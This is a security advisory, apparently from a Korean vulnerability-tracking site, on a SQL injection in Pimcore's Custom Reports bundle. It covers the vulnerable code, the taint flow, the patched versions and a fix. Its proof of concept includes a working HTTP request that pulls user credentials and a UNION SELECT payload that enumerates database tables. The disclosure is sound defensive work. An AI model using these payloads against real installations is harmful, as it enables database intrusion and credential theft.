Pimcore: SQL Injection in Custom Reports via Malicious Report Configuration
위협 신호 · CVSS · EPSS · KEV
이론적 심각도 점수
예측 데이터 없음
실측 악용 기록 없음
2주 이내 패치 — 우선 조치 대상
CVSS 벡터 · 메트릭
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H상세 설명
Security Advisory: SQL Injection in Custom Reports via Malicious Report Configuration
Summary
Impact
A SQL injection vulnerability exists in the Custom Reports bundle (bundles/CustomReportsBundle/src/Tool/Adapter/Sql.php:84-135). An authenticated attacker with reports_config permission can inject arbitrary SQL via the report configuration fields (sql, from, where, groupby), which are directly concatenated into SQL queries without parameterization. The only protection is a regex blacklist that checks for ALTER|CREATE|DROP|RENAME|TRUNCATE|UPDATE|DELETE keywords, which is trivially bypassable — it does not block INSERT, UNION SELECT, LOAD_FILE(), INTO OUTFILE, stacked queries, subqueries, or MySQL comment injection (/*!*/). Exploitation allows reading, modifying, or deleting all data in the database, leading to complete data compromise.
Additionally, the LIMIT clause at line 51 directly interpolates $offset and $limit without integer casting, creating a secondary injection point.
Patches
Versions 2026.1.6, 12.3.10, 11.5.19.
Workarounds
- Restrict
reports_configpermission to only highly trusted administrators - Deploy a WAF rule to block requests to
/admin/bundle/customreports/custom-report/updatecontaining SQL keywords in theconfigurationparameter - Replace the custom SQL adapter with a parameterized query builder approach
Attack Path (Validation Evidence)
1[Entry Point] POST /admin/bundle/customreports/custom-report/update HTTP/1.1 2 ↓ (requires reports_config permission + valid admin session) 3[Controller] CustomReportController::updateAction() 4 ↓ $configuration = decodeJson($request->request->getString('configuration')) 5[Config Store] Configuration saved to custom_reports database table 6[Config Load] Tool\Config::getByName() loads stdClass $config from DB 7 ↓ 8[Adapter] Sql::getBaseQuery() → Sql::buildQueryString($config) 9 ↓ Directly concatenates config fields:10[Vulnerable] $sql .= "\n" . $config['sql']; // Line 9211 $sql .= "\n" . $config['from']; // Line 10312 $sql .= "\n" . 'WHERE (' . $config['where'] . ')'; // Line 11013 $sql .= "\n" . $config['groupby']; // Line 11714[Weak Guard] preg_match('/(ALTER|CREATE|DROP|RENAME|TRUNCATE|UPDATE|DELETE)\s/i', ...)15 ↓ ✗ Bypassable — missing INSERT, UNION, SELECT, subqueries, comments16[Execution] $db->fetchAllAssociative($sql); // Line 5417 ↓18[Impact] Arbitrary SQL execution — full database compromiseTaint Flow (Validation Evidence)
1Source: $request->request->getString('configuration') (HTTP POST body, user-controlled) 2 ↓ json_decode() → stdClass 3[Store] Persistent in database (custom_reports table) 4[Load] Config::getByName() → stdClass $config 5 ↓ ✗ No sanitization (only bypassable regex blacklist) 6[Sink] $db->fetchAllAssociative($concatenatedSql) 7 ↓ 8Impact: Attacker-controlled SQL executed against the databaseProof of Concept
Steps
- Authenticate as an admin user with
reports_configpermission - Send a report update request with malicious SQL in the configuration:
Request
1POST /admin/bundle/customreports/custom-report/update HTTP/1.1 2Host: <target-host> 3Content-Type: application/x-www-form-urlencoded 4Cookie: PHPSESSID=<valid_admin_session> 5 6name=malicious_report&configuration=%7B%22sql%22%3A%22SELECT%20id%2C%20username%2C%20password%20FROM%20users%22%2C%22from%22%3A%22users%22%2C%22where%22%3A%221%3D1%22%2C%22groupby%22%3A%22%22%2C%22dataSourceConfig%22%3A%7B%7D%7D- Access the report data endpoint to retrieve extracted user credentials
- Alternatively, the
wherefield can be set to:to enumerate all database tablessql11=1 UNION SELECT TABLE_NAME, TABLE_SCHEMA, 1 FROM INFORMATION_SCHEMA.TABLES
Expected Result
The custom report returns rows from arbitrary tables beyond what was intended, proving successful SQL injection.
Affected Component
- File:
bundles/CustomReportsBundle/src/Tool/Adapter/Sql.php - Method:
buildQueryString()(lines 84-135),getBaseQuery()(lines 137-216),getData()(lines 25-58) - Class:
Pimcore\Bundle\CustomReportsBundle\Tool\Adapter\Sql
Fix Recommendation
Replace the custom SQL concatenation approach with a parameterized query builder:
1// Instead of: 2$sql .= "\n" . $config['sql']; 3$sql .= "\n" . $config['from']; 4$sql .= "\n" . 'WHERE (' . $config['where'] . ')'; 5 6// Use a whitelist-based approach: 7// 1. Only allow predefined table names from a whitelist 8// 2. Use Doctrine QueryBuilder for WHERE conditions 9// 3. Use parameterized queries for all user-supplied values10// 4. Cast LIMIT/OFFSET to integers11 12$sql .= ' LIMIT ' . (int)$offset . ',' . (int)$limit;Resources
AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.
참고 자료 5
링크 내용 불러오는 중…